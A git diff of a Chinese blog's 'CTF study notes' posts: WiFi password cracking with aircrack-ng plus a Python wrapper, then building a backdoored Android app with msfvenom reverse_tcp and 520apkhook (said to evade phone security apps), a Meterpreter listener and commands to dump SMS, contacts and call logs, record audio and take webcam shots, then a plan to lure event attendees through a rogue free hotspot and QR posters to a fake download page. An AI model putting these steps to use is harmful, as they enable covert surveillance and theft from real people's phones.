然后会开始搜索附近的WIFI,按两下Q可以退出搜索

+

+

BSSID 是搜索到的WIFI的MAC地址

+

PWR 不清楚,但是用不到

+

Beacons 不清楚,但是也用不到

+

#Data, #/s 数据量(我猜的)

+

CH 即Channel,WIFI的频道

+

MB 不清楚,也用不到

+

ENC CIPHER 加密协议的版本

+

AUTH 认证方式(PSK即密码)

+

ESSID WIFI名称

+

我们需要记下BSSID CHANNEL 这两个东西,在抓取握手包会用到,记完了以后按两下Q退出搜索就可以了

+

抓取握手包

使用airodump-ng -w {path} --channel {channel} --bssid {bssid} {netcard}能够抓取握手包

+

path就是保存文件的路径

+

channel 频道,上面说过了

+

bssid WIFI的MAC地址,上面也说过了

+

netcard 你想使用的网卡

+

我这里就直接输入下面这个命令来抓取Raspberry这个WIFI的握手包(Packets文件夹已经提前新建完成)

+
1
sudo airodump-ng -w ./Packets/captured --channel 11 --bssid 5E:E4:2A:0D:4B:75 wlan0mon
+ +

网卡会进入抓取模式,这个过程可以按两下Q退出抓取

+

需要注意的是,抓取过程中,其他设备必须与该WIFI进行至少一次的连接(从不在该网络连接到该网络)

+

抓完后,会出现如图的这些文件

+

+

我们要用来破解的就是这个captured-01.cap,至于为什么有01,因为aircrack-ng怕你重名,所以在文件后面会加上数字

+

破解WIFI密码

使用命令aircrack-ng {path} -w {dictionary}来破解WIFI密码

+

path 是要破解的cap文件的后缀,我这里就应该填./Packets/captured-01.cap

+

dictionary 是要用来破解WIFI跑的字典(字典可以访问代码浏览 - WIFI - 常用字典 - GamerNoTitle的团队 (coding.net)获取)

+

组合起来,我这里输入命令(wpa.txt是我电脑里面已经存在的字典)

+
1
sudo aircrack-ng ./Packets/captured-01.cap -w wpa.txt
+ +

然后就会开始跑字典,跑完了就会显示了(我这里没有跑,因为太慢了)

+

一键化Python程序

需要记住这么多命令是不是很烦,这里我自己做了个Aircrack-ng的Python程序,来避免记这么多的程序。需要注意:这个程序只能在Linux上运行,并且需要以root权限运行(因为aircrack的大部分命令都需要root权限)

+

下面贴出程序,你也可以通过CTF-Scripts/WlanCrack.py at master · GamerNoTitle/CTF-Scripts (github.com)获取。本程序在字典方面跟我上面的那个coding的库进行了链接,如果没有提供字典的话可以从coding库下载

+

需要安装的Python轮子:requests tqdm pprint

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import os
import requests
from pprint import pformat
from tqdm import tqdm

PreviousOutput = None
output = None
ListeningMode = False
PreviousPath = None


def ShowNetCard():
output = os.popen('ifconfig')
data = output.read()
print(data)
return data


def StartListenerMode(netcard):
os.system('airmon-ng check kill')
os.system(f'airmon-ng start {netcard}')
global ListeningMode
ListeningMode = True
print('Started')


def DumpStatus(NetCard):
print('Double-press Q to exit. When you are ready, press enter.')
input()
os.system(f'airodump-ng {NetCard}')


def CapturePacket(channel: int, bssid: str, netcard: str, path='./captured'):
print('Double-press Q to exit. When you are ready, press enter.')
input()
os.system(
f'airodump-ng -w {path} --channel {channel} --bssid {bssid} {netcard}')


def CrackWithDict(path, dictionary):
os.system('airmon-ng check kill')
os.system(f'aircrack-ng {path} -w {dictionary}')


def Downloader(url: str, filename: str):
resp = requests.get(url, stream=True)
total = int(resp.headers.get('content-length', 0))
with open(filename, 'wb') as file, tqdm(
desc=filename,
total=total,
unit='iB',
unit_scale=True,
unit_divisor=1024,
) as bar:
for data in resp.iter_content(chunk_size=1024):
size = file.write(data)
bar.update(size)


help_msg = '''{:=^80}
[0] Show netcards
[1] Start listener
[2] Dump wlan status
[3] Capture heartbeat packet
[4] Crack the packet with a dictionary
[9] Install aircrack-ng (If you haven\'t install it on your computer)
[q] Exit
{:=^80}
'''.format(' Aircrack-Ng Script ', ' Made by GamerNoTitle ')

LogoPrint = r''' _ _ _ _ _____ _ _
/\ (_) | | | \ | | / ____| (_) | |
/ \ _ _ __ ___ _ __ __ _ ___| | ________| \| | __ _ | (___ ___ _ __ _ _ __ | |_
/ /\ \ | | '__/ __| '__/ _` |/ __| |/ /______| . ` |/ _` | \___ \ / __| '__| | '_ \| __|
/ ____ \| | | | (__| | | (_| | (__| < | |\ | (_| | ____) | (__| | | | |_) | |_
/_/ \_\_|_| \___|_| \__,_|\___|_|\_\ |_| \_|\__, | |_____/ \___|_| |_| .__/ \__|
__/ | | |
|___/ |_| -- GamerNoTitle '''

if __name__ == '__main__':
print(LogoPrint)
if os.geteuid() != 0:
print('You need to run it as root!')
os._exit(0)
while True:
print(help_msg)
Input = input('Please choose an option: ')
if Input == '0':
CardsInfo = ShowNetCard()
if Input == '1':
Netcard = input(
'Please type the netcard\'s name that you wanna use: ')
if 'wlan' not in Netcard:
print(f'Unsupported netcard! {Netcard}')
else:
StartListenerMode(Netcard)
if Input == '2':
if ListeningMode:
Netcard = input(
'Please type the netcard\'s name that you wanna use: ')
NetCards = CardsInfo.split('\n\n')
if 'wlan' not in Netcard:
print(f'Unsupported netcard! {Netcard}')
else:
HaveCard = False
for i in NetCards:
if Netcard in i:
HaveCard = True
if HaveCard:
DumpStatus(Netcard)
else:
print(
f'Unable to find netcard {Netcard} in {NetCards}')
else:
print('You need to start the listener first!')
if Input == '3':
path = input(
'Please input the path that you want to save the file (e.g: ./captured): ')
PreviousPath = path
channel = int(
input('Please input the channel that you want to listen to: '))
bssid = input('Please input the bssid you want to listen to: ')
netcard = input('Please input the netcard you want to use: ')
if path == '' or channel == '' or bssid == '' or netcard == '':
print('Invalid parameters!')
else:
CapturePacket(channel=channel, bssid=bssid,
netcard=netcard, path=path)
if Input == '4':
path = input(
f'Please input the file you want to crack (Default for the previous file {PreviousPath}): ')
if path == '':
path = PreviousPath
dictionary = input(
'Please input the dictionary that you want to use to crack: ')
if dictionary == '':
print('You haven\'t specify a dictionary to crack the packet! Do you need some dictionarys? The avaliable dictionarys are listed below: ')
dictionarys = requests.get(
'https://gamernotitle.coding.net/p/Dictionarys/d/WIFI/git/raw/master/metadata.json?download=true').json()
print(pformat(dictionarys))
option = input(
'Please input the name of the dictionary you want to use: ')
if option == '':
print('You need to specify a dictionary to crack the packet!')
else:
Downloader(dictionarys['data'][option]
['link'], f'./{option}.txt')
dictionary = f'{option}.txt'
print(
f'Start cracking {path} with dictionary {dictionary}')
CrackWithDict(path, dictionary)
else:
print(f'Start cracking {path} with dictionary {dictionary}')
CrackWithDict(path, dictionary)
if Input == '9':
os.system('apt update')
os.system('apt install aircrack-ng -y')
if Input == 'q':
os._exit(0)
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-in-College-4/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-in-College-5/index.html b/posts/CTF-in-College-5/index.html new file mode 100644 index 0000000000..c40bff7450 --- /dev/null +++ b/posts/CTF-in-College-5/index.html @@ -0,0 +1,350 @@ +CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle + + + + + + + + + + + + + + + + + +

CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序

本文所用项目链接

+

ba0gu0/520apkhook: 把msf生成的安卓远控附加进普通的app中,并进行加固隐藏特征。可以绕过常见的手机安全管家。 (github.com)

+
+

在Ubuntu安装Msfvenom

本来我想着能不能通过apt安装的,毕竟也是个软件包嘛(Kali就带了),然后我尝试运行

+
1
sudo apt install msfvenom -y
+ +

结果告诉我找不到,只好求助于万能的Bing

+

首先我们需要把下面的这些内容保存到一个文件中(文件名随意)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#!/bin/sh

print_pgp_key() {
cat <<-EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----

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
2vTa24LE0J2DQg==
=Qa/n
-----END PGP PUBLIC KEY BLOCK-----
EOF
}

install_deb() {
LIST_FILE=/etc/apt/sources.list.d/metasploit-framework.list
PREF_FILE=/etc/apt/preferences.d/pin-metasploit.pref
echo -n "Adding metasploit-framework to your repository list.."
echo "deb $DOWNLOAD_URI/apt lucid main" > $LIST_FILE
print_pgp_key | apt-key add -
if [ ! -f $PREF_FILE ]; then
mkdir -p /etc/apt/preferences.d/
cat > $PREF_FILE <<EOF
Package: metasploit*
Pin: origin downloads.metasploit.com
Pin-Priority: 1000
EOF
fi
echo -n "Updating package cache.."
apt-get update > /dev/null
echo "OK"
echo "Checking for and installing update.."
apt-get install -y --allow-downgrades metasploit-framework
}

install_rpm() {
echo "Checking for and installing update.."
REPO_FILE=/etc/yum.repos.d/metasploit-framework.repo
GPG_KEY_FILE=/etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
echo -n "Adding metasploit-framework to your repository list.."

cat > /etc/yum.repos.d/metasploit-framework.repo <<EOF
[metasploit]
name=Metasploit
baseurl=$DOWNLOAD_URI/rpm
gpgcheck=1
gpgkey=file://$GPG_KEY_FILE
enabled=1
EOF
print_pgp_key > ${GPG_KEY_FILE}
yum install -y metasploit-framework
}

install_suse() {
echo "Checking for and installing update.."
GPG_KEY_FILE_DIR=/etc/pki/rpm-gpg
GPG_KEY_FILE=${GPG_KEY_FILE_DIR}/RPM-GPG-KEY-Metasploit
echo -n "Adding metasploit-framework to your repository list.."
if [ ! -d $GPG_KEY_FILE_DIR ]; then
mkdir -p $GPG_KEY_FILE_DIR
fi
zypper ar -f $DOWNLOAD_URI/rpm metasploit
print_pgp_key > ${GPG_KEY_FILE}
rpmkeys --import ${GPG_KEY_FILE}
zypper install -y metasploit-framework
}

install_pkg()
{
(
cd ~/Downloads

echo "Downloading package..."
curl -O "$DOWNLOAD_URI/osx/metasploitframework-latest.pkg"

echo "Checking signature..."

if pkgutil --check-signature metasploitframework-latest.pkg; then
echo "Installing package..."
installer -pkg metasploitframework-latest.pkg -target /
fi

echo "Cleaning up..."
rm -fv metasploitframework-latest.pkg
)
}

DOWNLOAD_URI=http://downloads.metasploit.com/data/releases/metasploit-framework
PKGTYPE=unknown
ID=`id -u`

if [ -f /etc/redhat-release ] ; then
PKGTYPE=rpm
elif [ -f /etc/system-release ] ; then
# If /etc/system-release is present, this is likely a distro that uses RPM.
PKGTYPE=rpm
else
if uname -sv | grep 'Darwin' > /dev/null; then
PKGTYPE=pkg
elif [ -f /usr/bin/zypper ] ; then
PKGTYPE=sus
else
PKGTYPE=deb
fi
fi

if [ "$ID" -ne 0 ]; then
if ! hash sudo 2>/dev/null; then
echo "This script must be executed as the 'root' user or with sudo"
exit 1
else
echo "Switching to root user to update the package"
sudo -E $0 $@
exit 0
fi
fi

case $PKGTYPE in
deb)
install_deb
;;
sus)
install_suse
;;
rpm)
install_rpm
;;
*)
install_pkg
esac
+ +

我这里是保存为了msf文件,在运行之前一定要记得赋予执行权限

+
1
2
sudo chmod +x msf
sudo ./msf
+ +

然后就会开始安装,安装完成后输入msfconsole看看能不能正常打开,如果可以就是安装成功了

+

(附上以上正常运行的图)

+

+

用520apkhook创建带有后门的apk文件

MSF自身本来就可以创建带有后门的APK程序,不过就是一个简单的MainActivity,我们还要把它压进我们的程序里

+
1
msfvenom -p android/meterpreter/reverse_tcp LHOST=<host> LPORT=5555 R > pentestlab.apk
+ +

这个比较麻烦(有时间再补),所以我这里用Github上别人写好的脚本

+ + +

这里我选用的是QQ轻聊版(name=’com.tencent.qqlite’ versionCode=’174’ versionName=’3.5.0’)

+

首先我们要把520apkhook给clone下来才能用

+
1
git clone https://github.com/ba0gu0/520apkhook.git
+ +

而且用之前,我们需要安装520apkhook需要的python轮子

+
1
pip3 install rich pycryptodome
+ +

安装完后,我们使用下面的命令格式进行apk的后门注入

+
1
python3 main.py [-h] --lhost LHOST --lport LPORT [-m MODE] [-p PAYLOAD] -n NORMALAPK
+ +

我这里把QQ轻聊版命名为QQLite.apk,我的服务器地址是我的腾讯云地址,端口开在了5555,那我就可以用下面的命令生成apk

+
1
python3 main.py --lhost <我的腾讯云IP> --lport 5555 -n QQLite.apk
+ +

然后程序就会自动开始打包,最后会告诉我们打包完成的文件位置

+

+

然后我们安装打包好的apk,我用我的手机测试了并没有报毒(红米K40 MIUI13),不过后来我还是选择在模拟器上安装,安装完后显示为正常的QQ轻聊版,而且能够正常使用

+

但是并不是所有的应用都可以被注入,新版的微信就不可以(自动模式找不到入口smali)

+

+

在云服务器上创建监听器

这个创建监听器的命令其实在520apkhook的文件夹里面已经给我们写好了,log里面有一行写道

+
1
[!] 生成的Msf Handler在: /home/gamernotitle/CTF/520apkhook/WorkDir/handler.rc
+ +

也就是说handler.rc文件已经为我们写好了在msfconsole里面运行的命令

+

我们可以通过msfconsole自带的命令加载

+
1
msfconsole -r handler.rc
+ +

也可以打开handler.rc并复制里面的内容

+
1
2
3
4
5
6
7
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set AutoLoadStdapi true
set LHOST 0.0.0.0
set LPORT 5555
set exitonsession false
exploit -j
+ +

然后粘贴在你的msfconsole里面

+

+

这样就算是运行了,然后我们打开安装的软件,我们的msfconsole会提示肉鸡上线

+

+

这时可以用sessions命令查看在线的肉鸡

+

+

session -i <id>就可以控制肉鸡啦

+

我这里就可以用session -i 1来通过第一个端口控制模拟器,使用screenshot命令进行截图

+

+

MSF session 命令列表

我自己常用的命令

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app_list	# 列出所有的app,可以配合app_run使用
app_run <Package> # 运行一个APP(会在目标设备直接运行,就类似用着用着突然打开了软件)
webcam_list # 列出设备拥有的摄像头
webcam_snap -i <id> # 通过指定摄像头拍照并保存(需要摄像头权限)
upload <src1> <src2> ... <dst> # 上传本地文件到指定位置
app_install <path> # 通过指定路径安装apk
check_root # 检查设备是否已经root
shell # 返回一个shell会话,如果目标已经root,可以用su提权
dump_calllog # 储存设备的通话记录(需要读取通话记录权限)
dump_sms # 储存设备的短信(需要读取短信权限)
dump_contacts # 储存设备的联系人列表(需要读取通讯录权限)
screenshare # 实时观看设备的屏幕
screenshot # 屏幕截图(出了寄生的软件后就截不到了)
record_mic # 录音
portfwd # 开放端口
download <path> # 下载目标机器上的文件
ls # 经典命令,显示当前目录下的文件(需要存储权限)
+ +

官方全命令

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
Core Commands
=============

Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel


Stdapi: File system Commands
============================

Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcat Read the contents of a local file to the screen
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory


Stdapi: Networking Commands
===========================

Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table


Stdapi: System Commands
=======================

Command Description
------- -----------
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getuid Get the user that the server is running as
localtime Displays the target system local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

Command Description
------- -----------
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop


Stdapi: Webcam Commands
=======================

Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

Command Description
------- -----------
play play a waveform audio file (.wav) on the target system


Android Commands
================

Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information


Application Controller Commands
===============================

Command Description
------- -----------
app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application

+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-in-College-5/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-in-College-6/index.html b/posts/CTF-in-College-6/index.html new file mode 100644 index 0000000000..bbaf1fda1d --- /dev/null +++ b/posts/CTF-in-College-6/index.html @@ -0,0 +1,343 @@ +CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容 | GamerNoTitle + + + + + + + + + + + + + + + +

CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容

这是一次结合了前几次文章里面介绍的各种方法来做的一次实战(主要是有讲座啥的挤在一起了,然后顺带就拿出来实战了一下),那么话不多说,我们现在开始!

+
+

所有未经允许的入侵均违法!!!

+ +

情景拟定

假设现在即将迎来中国国际数码互动娱乐展览会(ChinaJoy,简称CJ),而你想要获取在场的用户手机中的某些文件。自然,直接向别人询问肯定是不合理的。此时我们想:能否通过网络直接访问到别人手机的文件,然后把我们需要的文件下载下来呢?

+

结合我前面几篇文章写的,我就想到可以通过社工手段诱导用户下载木马程序并安装运行,从而获取用户手机的控制权限,进而能够找到我们需要的文件并且下载下来这样的手段

+

方案拟定

社工手段分很多种,社工库(这个真没办法,背后的原因很多样)、钓鱼网站(Steam高价值库存会遇到很多)等等等等,但既然是一个区域内的社工,首先想到的就是公共WIFI。因为本来就是个广Door人,花生地铁WIFI用的超级多花生地铁WIFI(特别是之前流量的价格实在是伤不起的时候,但现在印象中不是有名无实就是直接没有了)

+

另外,像天河城之类的地方有什么aWififreewifi之类的,肯德基有KFCFreeWifi,麦当劳有MCDonloads,公共wifi渗透在我们生活的方方面面,虽然流量在逐渐取代他们,但是其实还是有人用的,而我们也可以开一个免费热点给其他人使用,特别是在我们这个情景(CJ会场)下

+

同时在会场中,我们粘贴有带后门软件的二维码的海报,并用官方合作伙伴等字眼吸引他人的眼球,在现场的人就很有可能会去尝试下载我们的后门软件并安装使用,这时候就形成了被动式肉鸡上线,我们能够在我们的服务器上对肉鸡进行远程控制,包括读取通讯录、信息等,甚至是读取文件(当然要有对应的权限)

+

准备工作

树莓派开启WIFI热点

这里采用Github上面的create_ap项目(项目链接在下面),虽然没有维护了,但是这不影响我们使用呀

+

oblique/create_ap: [NOT MAINTAINED] This script creates a NATed or Bridged WiFi Access Point.

+

首先得先clone下来,要不然我们咋用呢

+
1
git clone https://github.com/oblique/create_ap.git
+ +

然后我们进入clone下来的目录,进行编译

+
1
2
cd create_ap
make install
+ +

这个过程中可能会提示权限不足,改为root账户运行或者直接sudo都行

+

完成以后,就会在当前目录生成一个名为create_ap的二进制可执行文件,直接运行即可,可以像下面这样运行

+
1
sudo ./create_ap wlan1 wlan0 FreeWifi
+ +

这样会创建一个名为FreeWifi的免费热点,当然你可以在FreeWifi后加上密码让它变成一个加密热点,结合我们这里的情景,我就把WIFI命名为CimocFreeWifi

+

制作后门程序

MSF创建后门程序的过程不再多讲,请参考CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle

+

对于520apkhook,这里就简略地讲一下

+

这里我用520apkhook去对Cimoc这个漫画查看软件进行后门注入,首先当然要去下载这个软件

+

我这里下载的版本是v1.5.5(主要是这个是测试的最后一版,而且没有更新提示,一旦我们注入后门对apk进行重签名,用户下载官方最新的apk就会装不上,当然如果包名不同就没这茬事),也非常幸运,在520apkhook的自动模式下就能够找到onCreate()V这个切入点,自动注入

+
1
2
python3 main.py --lhost <公网云服务器IP(这里不公布)> --lport 5555 -n Cimoc.apk
# 格式为 --lhost 监听服务器地址 --lport 监听服务端口 -n 需要注入的apk文件 -m {1|2|3}模式选择,默认为1
+ +

注入后把我们的文件拿出来,先放在一个文件夹里面,一会会用到

+

制作下载页

下载页本来想用酷安官方的那个下载页,但是后来想想要改的话太麻烦了,就去Github找了一个项目

+

然后找到了这个FEMessage/app-download: build your app’s download page easily (github.com)

+

这个用了nodejs的yarn框架,可以比较方便地生成下载页

+

当然我是不用yarn的,所以要先安装一下yarn(npm安装慢可以用cnpm)

+
1
npm install yarn -g
+ +

然后再根据文档来操作,修改相关的文件

+
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"title":"Cimoc",
"logo": "https://cdn.bili33.top/gh/Haleydu/Cimoc@release-tci/screenshot/icon.png",
"app": [
{
"platform": "Android",
"downloadLink":"//cdn.bili33.top/gh/Vikutorika/FakeDownloadPage@master/app-release.apk",
"qrcode": true,
